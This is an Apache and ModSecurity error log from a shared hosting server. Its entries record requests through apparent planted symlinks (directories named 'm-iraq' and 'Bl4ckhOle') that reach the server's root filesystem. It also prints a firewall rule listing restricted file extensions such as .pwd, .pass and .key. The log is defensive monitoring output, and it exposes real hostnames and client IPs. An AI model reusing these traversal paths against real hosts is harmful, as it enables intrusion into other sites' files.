[Fri Jul 17 09:22:51.423644 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/usbmon/usbmon0/subsystem/usbmon1/device/resource4
[Fri Jul 17 09:22:51.524249 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty24/subsystem/ttyS2/close_delay
[Fri Jul 17 09:22:51.625816 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:51.727787 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:51.929821 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.004480 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.030226 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1a/eject
[Fri Jul 17 09:22:52.130957 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/ttyS3/close_delay
[Fri Jul 17 09:22:52.334633 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.361231 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.434403 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.535528 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.636079 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.737443 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.838902 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:52.939260 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.063753 2026] [security2:error] [pid 2018741:tid 2018741] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-admin/edit.php"] [unique_id "almnE7oj0IkvhSCYadmGxgAAAAQ"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:22:53.063795 2026] [security2:error] [pid 2018741:tid 2018741] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-admin/edit.php"] [unique_id "almnE7oj0IkvhSCYadmGxgAAAAQ"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:22:53.140598 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.253118 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.444354 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.547753 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.644824 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.746825 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1f/eject
[Fri Jul 17 09:22:53.847314 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:53.952427 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.050395 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.152512 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.252454 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.353119 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.452819 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.554160 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.656903 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657016 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657080 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657124 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657192 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657234 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657275 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657313 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657351 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657407 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657472 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657513 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.657718 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.757313 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:54.961185 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:55.162378 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:0a/eject
[Fri Jul 17 09:22:55.264852 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:55.364719 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:0f/eject
[Fri Jul 17 09:22:55.466290 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:55.880429 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:56.502996 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:59.069683 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:01.029006 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.101:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory113/subsystem/devices/memory135/subsystem/devices/memory142/node0/memory124/subsystem/drivers_probe
[Fri Jul 17 09:23:01.075084 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:04.155767 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:04.171472 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:07.050761 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:07.130664 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:08.254330 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:55644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:15.545174 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:48646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:16.696287 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.79.51.134:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/imap.ini"] [unique_id "almnLOjME1mgqYZ5O94rCgAAAAE"]
[Fri Jul 17 09:23:16.696847 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.79.51.134:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/imap.ini"] [unique_id "almnLOjME1mgqYZ5O94rCgAAAAE"]
[Fri Jul 17 09:23:16.717404 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.79.51.134:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/imap.ini"] [unique_id "almnLOjME1mgqYZ5O94rCgAAAAE"]
[Fri Jul 17 09:23:19.216526 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:19.287338 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:19.351973 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:19.455206 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:19.556335 2026] [core:error] [pid 1993572:tid 1993572] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/igmp6
[Fri Jul 17 09:23:19.754356 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:48838] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:19.864685 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:19.985337 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.163772 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.271701 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.364924 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.465722 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.567600 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.667936 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.776512 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:48904] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:20.870125 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:20.996279 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.176589 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.275488 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.381323 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.577264 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.676962 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:21.983095 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.102217 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.183277 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.427128 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.588120 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.689804 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.790870 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:22.894413 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.092111 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.197350 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.396869 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.598624 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.699512 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.821348 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:23.904095 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:22/subsystem/uevent
[Fri Jul 17 09:23:24.107589 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:24.307196 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:24.307824 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/lib/firmware/realtek/rt1320/"] [unique_id "almnNARRrtuZqNDDSqW02QAAABo"]
[Fri Jul 17 09:23:24.307849 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/lib/firmware/realtek/rt1320/"] [unique_id "almnNARRrtuZqNDDSqW02QAAABo"]
[Fri Jul 17 09:23:24.420516 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:24.710487 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:24.813150 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:24.915739 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:25.015007 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:25.318486 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:25.419486 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:25.623099 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:07/eject
[Fri Jul 17 09:23:25.822525 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty45/subsystem/ttyS0/device/driver/unbind
[Fri Jul 17 09:23:25.924393 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.026275 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.232042 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.329274 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531776 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531864 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531890 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531910 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531939 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531961 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.531984 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.633230 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.848494 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.936591 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:26.969779 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnNo1dLClkUfK_dfHpxQAAAAI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:23:26.969817 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnNo1dLClkUfK_dfHpxQAAAAI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:23:27.141704 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:27.241363 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:27.645953 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:28.048853 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:28.151040 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:28.456939 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:28.758876 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:28.870328 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.066891 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.269080 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.370922 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371006 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371034 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371081 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371113 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371137 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.371158 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:29.471183 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:30.084988 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:30.186102 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/magicmouse/uevent
[Fri Jul 17 09:23:31.042792 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:34256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:31.849461 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:31.977913 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:39904] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:32.543285 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:33.205214 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:39962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:33.955721 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:39994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:35.154323 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:36.140670 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:40090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:36.521856 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:40136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:36.797692 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:36.841053 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almnQI1dLClkUfK_dfHpzAAAAAI"]
